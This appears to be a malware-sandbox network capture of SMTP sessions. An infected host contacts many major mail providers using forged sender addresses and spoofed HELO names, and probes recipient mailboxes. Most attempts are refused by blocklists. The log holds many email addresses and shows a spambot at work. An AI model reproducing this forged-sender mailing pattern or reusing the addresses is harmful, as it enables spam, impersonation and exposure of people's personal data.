Jan 7, 2022 15:56:04.009119987 CET	25	49773	194.152.32.75	192.168.2.4	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using spamhaus.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:56:04.009236097 CET	49773	25	192.168.2.4	194.152.32.75	QUIT
Jan 7, 2022 15:56:04.051063061 CET	25	49773	194.152.32.75	192.168.2.4	221 2.0.0 Bye
Jan 7, 2022 15:56:04.579792976 CET	49770	25	192.168.2.4	142.250.150.26	. QUIT
Jan 7, 2022 15:56:05.808240891 CET	25	49776	104.47.17.161	192.168.2.4	220 VI1EUR05FT064.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:04 +0000
Jan 7, 2022 15:56:05.808407068 CET	49776	25	192.168.2.4	104.47.17.161	HELO hotmail-com.olc.protection.outlook.com
Jan 7, 2022 15:56:05.836070061 CET	25	49776	104.47.17.161	192.168.2.4	250 VI1EUR05FT064.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:05.836229086 CET	49776	25	192.168.2.4	104.47.17.161	MAIL FROM: <sharon_1968@fastmail.fm>
Jan 7, 2022 15:56:05.864378929 CET	25	49776	104.47.17.161	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [VI1EUR05FT064.eop-eur05.prod.protection.outlook.com]
Jan 7, 2022 15:56:05.864531994 CET	49776	25	192.168.2.4	104.47.17.161	QUIT
Jan 7, 2022 15:56:06.144896984 CET	25	49775	98.136.96.74	192.168.2.4	220 mtaproxy204.free.mail.ne1.yahoo.com ESMTP ready
Jan 7, 2022 15:56:06.145023108 CET	49775	25	192.168.2.4	98.136.96.74	HELO mta7.am0.yahoodns.net
Jan 7, 2022 15:56:06.277396917 CET	25	49775	98.136.96.74	192.168.2.4	250 mtaproxy204.free.mail.ne1.yahoo.com
Jan 7, 2022 15:56:06.277667046 CET	49775	25	192.168.2.4	98.136.96.74	MAIL FROM: <claudia.wright@mail.lycos.com>
Jan 7, 2022 15:56:06.377551079 CET	25	49774	91.136.8.41	192.168.2.4	220 mail183c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:56:04 +0000
Jan 7, 2022 15:56:06.377718925 CET	49774	25	192.168.2.4	91.136.8.41	HELO mx1c50.megamailservers.eu
Jan 7, 2022 15:56:06.410912037 CET	25	49775	98.136.96.74	192.168.2.4	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:56:06.411075115 CET	49775	25	192.168.2.4	98.136.96.74	QUIT
Jan 7, 2022 15:56:06.421668053 CET	25	49774	91.136.8.41	192.168.2.4	250 mail183c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:56:06.421853065 CET	49774	25	192.168.2.4	91.136.8.41	MAIL FROM: <serv@telering.at>
Jan 7, 2022 15:56:06.533633947 CET	25	49774	91.136.8.41	192.168.2.4	250 2.1.0 <serv@telering.at>... Sender ok
Jan 7, 2022 15:56:06.533814907 CET	49774	25	192.168.2.4	91.136.8.41	RCPT TO: <web@telering.at>
Jan 7, 2022 15:56:06.653603077 CET	25	49774	91.136.8.41	192.168.2.4	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:56:06.653738022 CET	49774	25	192.168.2.4	91.136.8.41	QUIT
Jan 7, 2022 15:56:06.661936045 CET	25	49778	67.195.204.77	192.168.2.4	220 mtaproxy110.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:56:06.662096977 CET	49778	25	192.168.2.4	67.195.204.77	HELO mta5.am0.yahoodns.net
Jan 7, 2022 15:56:06.696417093 CET	25	49774	91.136.8.41	192.168.2.4	221 2.0.0 mail183c50.megamailservers.eu closing connection
Jan 7, 2022 15:56:06.774329901 CET	25	49778	67.195.204.77	192.168.2.4	250 mtaproxy110.free.mail.bf1.yahoo.com
Jan 7, 2022 15:56:06.774425030 CET	49778	25	192.168.2.4	67.195.204.77	MAIL FROM: <claudia.wright@mail.lycos.com>
Jan 7, 2022 15:56:06.886941910 CET	25	49778	67.195.204.77	192.168.2.4	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:56:06.887109995 CET	49778	25	192.168.2.4	67.195.204.77	QUIT
Jan 7, 2022 15:56:07.114787102 CET	25	49780	67.195.204.77	192.168.2.4	220 mtaproxy102.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:56:07.114881992 CET	49780	25	192.168.2.4	67.195.204.77	HELO mta6.am0.yahoodns.net
Jan 7, 2022 15:56:07.228394032 CET	25	49780	67.195.204.77	192.168.2.4	250 mtaproxy102.free.mail.bf1.yahoo.com
Jan 7, 2022 15:56:07.228630066 CET	49780	25	192.168.2.4	67.195.204.77	MAIL FROM: <claudia.wright@mail.lycos.com>
Jan 7, 2022 15:56:07.342617989 CET	25	49780	67.195.204.77	192.168.2.4	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:56:07.342781067 CET	49780	25	192.168.2.4	67.195.204.77	QUIT
Jan 7, 2022 15:56:07.869965076 CET	25	49768	213.186.119.6	192.168.2.4	220 out04.mi6.kiev.ua ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:56:07 +0200
Jan 7, 2022 15:56:07.870984077 CET	49768	25	192.168.2.4	213.186.119.6	HELO mx10.bigmir.net
Jan 7, 2022 15:56:07.929008961 CET	25	49781	77.88.21.249	192.168.2.4	220 sas1-bc282b0f8837.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567367-3vsHQgfKhZ-u7f0mB6S
Jan 7, 2022 15:56:07.929131031 CET	49781	25	192.168.2.4	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:56:07.931346893 CET	25	49768	213.186.119.6	192.168.2.4	250 out04.mi6.kiev.ua Hello mx10.bigmir.net [102.129.143.96]
Jan 7, 2022 15:56:07.931603909 CET	49768	25	192.168.2.4	213.186.119.6	MAIL FROM: <serv@bigmir.net>
Jan 7, 2022 15:56:07.985692978 CET	25	49781	77.88.21.249	192.168.2.4	250 sas1-bc282b0f8837.qloud-c.yandex.net
Jan 7, 2022 15:56:07.985802889 CET	49781	25	192.168.2.4	77.88.21.249	MAIL FROM: <serv@yandex.ru>
Jan 7, 2022 15:56:07.991982937 CET	25	49768	213.186.119.6	192.168.2.4	250 OK
Jan 7, 2022 15:56:07.992753983 CET	49768	25	192.168.2.4	213.186.119.6	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:56:08.043447971 CET	25	49781	77.88.21.249	192.168.2.4	250 2.1.0 <serv@yandex.ru> ok 1641567368-3vsHQgfKhZ-u8f0glZ4
Jan 7, 2022 15:56:08.043752909 CET	49781	25	192.168.2.4	77.88.21.249	RCPT TO: <macjohnsmith@yandex.ru>
Jan 7, 2022 15:56:08.078525066 CET	25	49768	213.186.119.6	192.168.2.4	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:56:08.081042051 CET	49768	25	192.168.2.4	213.186.119.6	QUIT
Jan 7, 2022 15:56:08.111568928 CET	25	49781	77.88.21.249	192.168.2.4	550 5.7.1 No such user! 1641567368-3vsHQgfKhZ-u8f0glZ4
Jan 7, 2022 15:56:08.112070084 CET	49781	25	192.168.2.4	77.88.21.249	QUIT
Jan 7, 2022 15:56:08.136307955 CET	25	49777	195.3.96.71	192.168.2.4	220 smarthub87.res.a1.net ESMTP
Jan 7, 2022 15:56:08.137130022 CET	49777	25	192.168.2.4	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:56:08.141515970 CET	25	49768	213.186.119.6	192.168.2.4	221 out04.mi6.kiev.ua closing connection
Jan 7, 2022 15:56:08.168826103 CET	25	49781	77.88.21.249	192.168.2.4	221 2.0.0 Closing connecton
Jan 7, 2022 15:56:08.332005024 CET	25	49777	195.3.96.71	192.168.2.4	250 smarthub87.res.a1.net
Jan 7, 2022 15:56:08.333750963 CET	49777	25	192.168.2.4	195.3.96.71	MAIL FROM: <betty.garcia@gmail.com>
Jan 7, 2022 15:56:08.354655981 CET	25	49777	195.3.96.71	192.168.2.4	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:56:08.354803085 CET	49777	25	192.168.2.4	195.3.96.71	QUIT
Jan 7, 2022 15:56:08.375905037 CET	25	49777	195.3.96.71	192.168.2.4	221 smarthub87.res.a1.net Goodbye.
Jan 7, 2022 15:56:08.753067970 CET	25	49779	91.136.8.46	192.168.2.4	220 mail283c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:56:06 +0000
Jan 7, 2022 15:56:08.753217936 CET	49779	25	192.168.2.4	91.136.8.46	HELO mx2c50.megamailservers.eu
Jan 7, 2022 15:56:08.794825077 CET	25	49779	91.136.8.46	192.168.2.4	250 mail283c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:56:08.795046091 CET	49779	25	192.168.2.4	91.136.8.46	MAIL FROM: <serv@telering.at>
Jan 7, 2022 15:56:08.913746119 CET	25	49779	91.136.8.46	192.168.2.4	250 2.1.0 <serv@telering.at>... Sender ok
Jan 7, 2022 15:56:08.913954020 CET	49779	25	192.168.2.4	91.136.8.46	RCPT TO: <web@telering.at>
Jan 7, 2022 15:56:09.015702963 CET	25	49779	91.136.8.46	192.168.2.4	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:56:09.015944004 CET	49779	25	192.168.2.4	91.136.8.46	QUIT
Jan 7, 2022 15:56:09.057756901 CET	25	49779	91.136.8.46	192.168.2.4	221 2.0.0 mail283c50.megamailservers.eu closing connection
Jan 7, 2022 15:56:09.510373116 CET	25	49786	77.88.21.249	192.168.2.4	220 sas2-5fc729dd8cf8.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567369-82TXBDpbxJ-u9ee9oQX
Jan 7, 2022 15:56:09.510500908 CET	49786	25	192.168.2.4	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:56:09.570993900 CET	25	49786	77.88.21.249	192.168.2.4	250 sas2-5fc729dd8cf8.qloud-c.yandex.net
Jan 7, 2022 15:56:09.571995020 CET	49786	25	192.168.2.4	77.88.21.249	MAIL FROM: <brenda.lopez@care2.com>
Jan 7, 2022 15:56:09.731194019 CET	25	49786	77.88.21.249	192.168.2.4	250 2.1.0 <brenda.lopez@care2.com> ok 1641567369-82TXBDpbxJ-u9eeceEu
Jan 7, 2022 15:56:09.731398106 CET	49786	25	192.168.2.4	77.88.21.249	RCPT TO: <macjohnsmith@tut.by>
Jan 7, 2022 15:56:09.801786900 CET	25	49786	77.88.21.249	192.168.2.4	550 5.7.1 No such user! 1641567369-82TXBDpbxJ-u9eeceEu
Jan 7, 2022 15:56:09.801933050 CET	49786	25	192.168.2.4	77.88.21.249	QUIT
Jan 7, 2022 15:56:09.862610102 CET	25	49786	77.88.21.249	192.168.2.4	221 2.0.0 Closing connecton
Jan 7, 2022 15:56:10.802203894 CET	25	49787	74.208.5.20	192.168.2.4	554-mail.com (mxgmxus007) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:56:11.098135948 CET	25	49788	74.208.5.22	192.168.2.4	554-mail.com (mxgmxus009) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:56:11.128319025 CET	25	49785	91.136.8.47	192.168.2.4	220 mail129c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:56:09 +0000
Jan 7, 2022 15:56:11.129966974 CET	49785	25	192.168.2.4	91.136.8.47	HELO mx3c50.megamailservers.eu
Jan 7, 2022 15:56:11.179435015 CET	25	49785	91.136.8.47	192.168.2.4	250 mail129c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:56:11.179629087 CET	49785	25	192.168.2.4	91.136.8.47	MAIL FROM: <serv@telering.at>
Jan 7, 2022 15:56:11.598125935 CET	25	49785	91.136.8.47	192.168.2.4	250 2.1.0 <serv@telering.at>... Sender ok
Jan 7, 2022 15:56:11.601995945 CET	49785	25	192.168.2.4	91.136.8.47	RCPT TO: <web@telering.at>
Jan 7, 2022 15:56:11.734155893 CET	25	49785	91.136.8.47	192.168.2.4	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:56:11.734270096 CET	49785	25	192.168.2.4	91.136.8.47	QUIT
Jan 7, 2022 15:56:11.775729895 CET	25	49785	91.136.8.47	192.168.2.4	221 2.0.0 mail129c50.megamailservers.eu closing connection
Jan 7, 2022 15:56:15.406199932 CET	25	49790	142.250.150.26	192.168.2.4	220 mx.google.com ESMTP p18si5921529lfa.600 - gsmtp
Jan 7, 2022 15:56:15.406353951 CET	49790	25	192.168.2.4	142.250.150.26	HELO alt1.gmail-smtp-in.l.google.com
Jan 7, 2022 15:56:15.463574886 CET	25	49790	142.250.150.26	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:56:15.463849068 CET	49790	25	192.168.2.4	142.250.150.26	MAIL FROM: <james.miller@mail.aim.com>
Jan 7, 2022 15:56:15.516526937 CET	25	49790	142.250.150.26	192.168.2.4	250 2.1.0 OK p18si5921529lfa.600 - gsmtp
Jan 7, 2022 15:56:15.516974926 CET	49790	25	192.168.2.4	142.250.150.26	RCPT TO: <njhnbkf@gmail.com>
Jan 7, 2022 15:56:15.737498999 CET	25	49790	142.250.150.26	192.168.2.4	250 2.1.5 OK p18si5921529lfa.600 - gsmtp
Jan 7, 2022 15:56:15.737616062 CET	49790	25	192.168.2.4	142.250.150.26	DATA
Jan 7, 2022 15:56:15.792723894 CET	25	49790	142.250.150.26	192.168.2.4	354 Go ahead p18si5921529lfa.600 - gsmtp
Jan 7, 2022 15:56:16.005867004 CET	25	49791	194.152.32.74	192.168.2.4	220-timmy4-world.inbox.lv ESMTP
Jan 7, 2022 15:56:16.005987883 CET	49791	25	192.168.2.4	194.152.32.74	HELO mx1.inbox.lv
Jan 7, 2022 15:56:16.049563885 CET	25	49791	194.152.32.74	192.168.2.4	250 timmy4-world.inbox.lv
Jan 7, 2022 15:56:16.049652100 CET	49791	25	192.168.2.4	194.152.32.74	MAIL FROM: <sec@inbox.lv>
Jan 7, 2022 15:56:16.091526031 CET	25	49791	194.152.32.74	192.168.2.4	250 2.1.0 Ok
Jan 7, 2022 15:56:16.091732025 CET	49791	25	192.168.2.4	194.152.32.74	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:56:16.134226084 CET	25	49791	194.152.32.74	192.168.2.4	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using spamhaus.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:56:16.134416103 CET	49791	25	192.168.2.4	194.152.32.74	QUIT
Jan 7, 2022 15:56:16.176448107 CET	25	49791	194.152.32.74	192.168.2.4	221 2.0.0 Bye
Jan 7, 2022 15:56:16.221201897 CET	25	49792	194.152.32.75	192.168.2.4	220-timmy5-world.inbox.lv ESMTP
Jan 7, 2022 15:56:16.221333027 CET	49792	25	192.168.2.4	194.152.32.75	HELO mx2.inbox.lv
Jan 7, 2022 15:56:16.263303041 CET	25	49792	194.152.32.75	192.168.2.4	250 timmy5-world.inbox.lv
Jan 7, 2022 15:56:16.263438940 CET	49792	25	192.168.2.4	194.152.32.75	MAIL FROM: <sec@inbox.lv>
Jan 7, 2022 15:56:16.305614948 CET	25	49792	194.152.32.75	192.168.2.4	250 2.1.0 Ok
Jan 7, 2022 15:56:16.305743933 CET	49792	25	192.168.2.4	194.152.32.75	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:56:16.343300104 CET	49790	25	192.168.2.4	142.250.150.26	. QUIT
Jan 7, 2022 15:56:16.347476959 CET	25	49792	194.152.32.75	192.168.2.4	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using spamhaus.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:56:16.347590923 CET	49792	25	192.168.2.4	194.152.32.75	QUIT
Jan 7, 2022 15:56:16.389286995 CET	25	49792	194.152.32.75	192.168.2.4	221 2.0.0 Bye
Jan 7, 2022 15:56:16.739957094 CET	25	49795	195.3.96.71	192.168.2.4	220 smarthub88.res.a1.net ESMTP
Jan 7, 2022 15:56:16.742160082 CET	49795	25	192.168.2.4	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:56:16.762773991 CET	25	49795	195.3.96.71	192.168.2.4	250 smarthub88.res.a1.net
Jan 7, 2022 15:56:16.762895107 CET	49795	25	192.168.2.4	195.3.96.71	MAIL FROM: <serv@a1plus.at>
Jan 7, 2022 15:56:16.783535004 CET	25	49795	195.3.96.71	192.168.2.4	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:56:16.786173105 CET	49795	25	192.168.2.4	195.3.96.71	QUIT
Jan 7, 2022 15:56:16.806912899 CET	25	49795	195.3.96.71	192.168.2.4	221 smarthub88.res.a1.net Goodbye.
Jan 7, 2022 15:56:16.809475899 CET	25	49789	213.186.119.6	192.168.2.4	220 out04.mi6.kiev.ua ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:56:16 +0200
Jan 7, 2022 15:56:16.809607029 CET	49789	25	192.168.2.4	213.186.119.6	HELO mx10.bigmir.net
Jan 7, 2022 15:56:16.868563890 CET	25	49789	213.186.119.6	192.168.2.4	250 out04.mi6.kiev.ua Hello mx10.bigmir.net [102.129.143.96]
Jan 7, 2022 15:56:16.868690014 CET	49789	25	192.168.2.4	213.186.119.6	MAIL FROM: <brent.clark@mail.com>
Jan 7, 2022 15:56:16.927483082 CET	25	49789	213.186.119.6	192.168.2.4	250 OK
Jan 7, 2022 15:56:16.927598000 CET	49789	25	192.168.2.4	213.186.119.6	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:56:17.009654045 CET	25	49789	213.186.119.6	192.168.2.4	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:56:17.009761095 CET	49789	25	192.168.2.4	213.186.119.6	QUIT
Jan 7, 2022 15:56:17.070082903 CET	25	49789	213.186.119.6	192.168.2.4	221 out04.mi6.kiev.ua closing connection
Jan 7, 2022 15:56:17.294047117 CET	25	49799	104.47.58.161	192.168.2.4	220 BN8NAM11FT007.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:16 +0000
Jan 7, 2022 15:56:17.538404942 CET	25	49804	77.88.21.249	192.168.2.4	220 sas2-b0e6f85f94f2.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567377-3E4I9UyWEM-uHeu5wDA
Jan 7, 2022 15:56:17.538544893 CET	49804	25	192.168.2.4	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:56:17.558228970 CET	25	49803	104.47.58.161	192.168.2.4	220 BN8NAM11FT003.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:16 +0000
Jan 7, 2022 15:56:17.558419943 CET	49803	25	192.168.2.4	104.47.58.161	HELO hotmail-com.olc.protection.outlook.com
Jan 7, 2022 15:56:17.574305058 CET	25	49802	67.195.204.77	192.168.2.4	220 mtaproxy108.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:56:17.577140093 CET	49802	25	192.168.2.4	67.195.204.77	HELO mta5.am0.yahoodns.net
Jan 7, 2022 15:56:17.595778942 CET	25	49804	77.88.21.249	192.168.2.4	250 sas2-b0e6f85f94f2.qloud-c.yandex.net
Jan 7, 2022 15:56:17.595930099 CET	49804	25	192.168.2.4	77.88.21.249	MAIL FROM: <alice.adams@email.myway.com>
Jan 7, 2022 15:56:17.596208096 CET	25	49794	67.195.204.77	192.168.2.4	220 mtaproxy106.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:56:17.645215034 CET	25	49805	77.88.21.249	192.168.2.4	220 myt5-173186d592cd.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567377-OFdIwsp2Tp-uHfGBsiY
Jan 7, 2022 15:56:17.645358086 CET	49805	25	192.168.2.4	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:56:17.660058022 CET	25	49806	195.3.96.71	192.168.2.4	220 smarthub81.res.a1.net ESMTP
Jan 7, 2022 15:56:17.660718918 CET	49806	25	192.168.2.4	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:56:17.661670923 CET	25	49803	104.47.58.161	192.168.2.4	250 BN8NAM11FT003.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:17.661781073 CET	49803	25	192.168.2.4	104.47.58.161	MAIL FROM: <den.hill@yahoo.com>
Jan 7, 2022 15:56:17.681238890 CET	25	49806	195.3.96.71	192.168.2.4	250 smarthub81.res.a1.net
Jan 7, 2022 15:56:17.681543112 CET	49806	25	192.168.2.4	195.3.96.71	MAIL FROM: <sec@a1plus.at>
Jan 7, 2022 15:56:17.689307928 CET	25	49802	67.195.204.77	192.168.2.4	250 mtaproxy108.free.mail.bf1.yahoo.com
Jan 7, 2022 15:56:17.689400911 CET	49802	25	192.168.2.4	67.195.204.77	MAIL FROM: <allen_phzce@mail.aim.com>
Jan 7, 2022 15:56:17.699198961 CET	25	49805	77.88.21.249	192.168.2.4	250 myt5-173186d592cd.qloud-c.yandex.net
Jan 7, 2022 15:56:17.699325085 CET	49805	25	192.168.2.4	77.88.21.249	MAIL FROM: <anna.taylor@care2.com>
Jan 7, 2022 15:56:17.701989889 CET	25	49806	195.3.96.71	192.168.2.4	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:56:17.703799963 CET	49806	25	192.168.2.4	195.3.96.71	QUIT
Jan 7, 2022 15:56:17.724222898 CET	25	49806	195.3.96.71	192.168.2.4	221 smarthub81.res.a1.net Goodbye.
Jan 7, 2022 15:56:17.765741110 CET	25	49803	104.47.58.161	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN8NAM11FT003.eop-nam11.prod.protection.outlook.com]
Jan 7, 2022 15:56:17.765892982 CET	49803	25	192.168.2.4	104.47.58.161	QUIT
Jan 7, 2022 15:56:17.788568020 CET	25	49804	77.88.21.249	192.168.2.4	250 2.1.0 <alice.adams@email.myway.com> ok 1641567377-3E4I9UyWEM-uHeuI1QZ
Jan 7, 2022 15:56:17.789000988 CET	49804	25	192.168.2.4	77.88.21.249	RCPT TO: <macjohnsmith@yandex.ru>
Jan 7, 2022 15:56:17.799173117 CET	25	49805	77.88.21.249	192.168.2.4	250 2.1.0 <anna.taylor@care2.com> ok 1641567377-OFdIwsp2Tp-uHfG29JW
Jan 7, 2022 15:56:17.799287081 CET	49805	25	192.168.2.4	77.88.21.249	RCPT TO: <macjohnsmith@tut.by>
Jan 7, 2022 15:56:17.801876068 CET	25	49802	67.195.204.77	192.168.2.4	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:56:17.802000999 CET	49802	25	192.168.2.4	67.195.204.77	QUIT
Jan 7, 2022 15:56:17.857032061 CET	25	49804	77.88.21.249	192.168.2.4	550 5.7.1 No such user! 1641567377-3E4I9UyWEM-uHeuI1QZ
Jan 7, 2022 15:56:17.858170033 CET	49804	25	192.168.2.4	77.88.21.249	QUIT
Jan 7, 2022 15:56:17.863928080 CET	25	49805	77.88.21.249	192.168.2.4	550 5.7.1 No such user! 1641567377-OFdIwsp2Tp-uHfG29JW
Jan 7, 2022 15:56:17.864562988 CET	49805	25	192.168.2.4	77.88.21.249	QUIT
Jan 7, 2022 15:56:17.915440083 CET	25	49804	77.88.21.249	192.168.2.4	221 2.0.0 Closing connecton
Jan 7, 2022 15:56:17.919889927 CET	25	49805	77.88.21.249	192.168.2.4	221 2.0.0 Closing connecton
Jan 7, 2022 15:56:18.060945034 CET	25	49807	67.195.204.79	192.168.2.4	220 mtaproxy208.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:56:18.064574957 CET	49807	25	192.168.2.4	67.195.204.79	HELO mta6.am0.yahoodns.net
Jan 7, 2022 15:56:18.178174973 CET	25	49807	67.195.204.79	192.168.2.4	250 mtaproxy208.free.mail.bf1.yahoo.com
Jan 7, 2022 15:56:18.178299904 CET	49807	25	192.168.2.4	67.195.204.79	MAIL FROM: <allen_phzce@mail.aim.com>
Jan 7, 2022 15:56:18.292309999 CET	25	49807	67.195.204.79	192.168.2.4	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:56:18.292500973 CET	49807	25	192.168.2.4	67.195.204.79	QUIT
Jan 7, 2022 15:56:18.681694984 CET	25	49808	67.195.228.110	192.168.2.4	220 mtaproxy308.free.mail.gq1.yahoo.com ESMTP ready
Jan 7, 2022 15:56:18.682516098 CET	49808	25	192.168.2.4	67.195.228.110	HELO mta7.am0.yahoodns.net
Jan 7, 2022 15:56:18.846622944 CET	25	49808	67.195.228.110	192.168.2.4	250 mtaproxy308.free.mail.gq1.yahoo.com
Jan 7, 2022 15:56:18.846858025 CET	49808	25	192.168.2.4	67.195.228.110	MAIL FROM: <allen_phzce@mail.aim.com>
Jan 7, 2022 15:56:19.011457920 CET	25	49808	67.195.228.110	192.168.2.4	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:56:19.011606932 CET	49808	25	192.168.2.4	67.195.228.110	QUIT
Jan 7, 2022 15:56:19.199529886 CET	25	49798	91.136.8.41	192.168.2.4	220 mail104c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:56:17 +0000
Jan 7, 2022 15:56:19.199630022 CET	49798	25	192.168.2.4	91.136.8.41	HELO mx1c50.megamailservers.eu
Jan 7, 2022 15:56:19.243000984 CET	25	49798	91.136.8.41	192.168.2.4	250 mail104c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:56:19.243110895 CET	49798	25	192.168.2.4	91.136.8.41	MAIL FROM: <gonzalez2000@hotmail.com>
Jan 7, 2022 15:56:19.295758009 CET	25	49798	91.136.8.41	192.168.2.4	250 2.1.0 <gonzalez2000@hotmail.com>... Sender ok
Jan 7, 2022 15:56:19.295893908 CET	49798	25	192.168.2.4	91.136.8.41	RCPT TO: <web@telering.at>
Jan 7, 2022 15:56:19.349873066 CET	25	49798	91.136.8.41	192.168.2.4	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:56:19.349993944 CET	49798	25	192.168.2.4	91.136.8.41	QUIT
Jan 7, 2022 15:56:19.392292976 CET	25	49798	91.136.8.41	192.168.2.4	221 2.0.0 mail104c50.megamailservers.eu closing connection
Jan 7, 2022 15:56:21.448719025 CET	25	49809	91.136.8.46	192.168.2.4	220 mail103c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:56:19 +0000
Jan 7, 2022 15:56:21.449006081 CET	49809	25	192.168.2.4	91.136.8.46	HELO mx2c50.megamailservers.eu
Jan 7, 2022 15:56:21.492721081 CET	25	49809	91.136.8.46	192.168.2.4	250 mail103c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:56:21.492954016 CET	49809	25	192.168.2.4	91.136.8.46	MAIL FROM: <gonzalez2000@hotmail.com>
Jan 7, 2022 15:56:21.581378937 CET	25	49809	91.136.8.46	192.168.2.4	250 2.1.0 <gonzalez2000@hotmail.com>... Sender ok
Jan 7, 2022 15:56:21.584604025 CET	49809	25	192.168.2.4	91.136.8.46	RCPT TO: <web@telering.at>
Jan 7, 2022 15:56:21.634335995 CET	25	49809	91.136.8.46	192.168.2.4	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:56:21.634535074 CET	49809	25	192.168.2.4	91.136.8.46	QUIT
Jan 7, 2022 15:56:21.677148104 CET	25	49809	91.136.8.46	192.168.2.4	221 2.0.0 mail103c50.megamailservers.eu closing connection
Jan 7, 2022 15:56:23.733614922 CET	25	49810	91.136.8.47	192.168.2.4	220 mail129c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:56:21 +0000
Jan 7, 2022 15:56:23.734285116 CET	49810	25	192.168.2.4	91.136.8.47	HELO mx3c50.megamailservers.eu
Jan 7, 2022 15:56:23.775542974 CET	25	49810	91.136.8.47	192.168.2.4	250 mail129c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
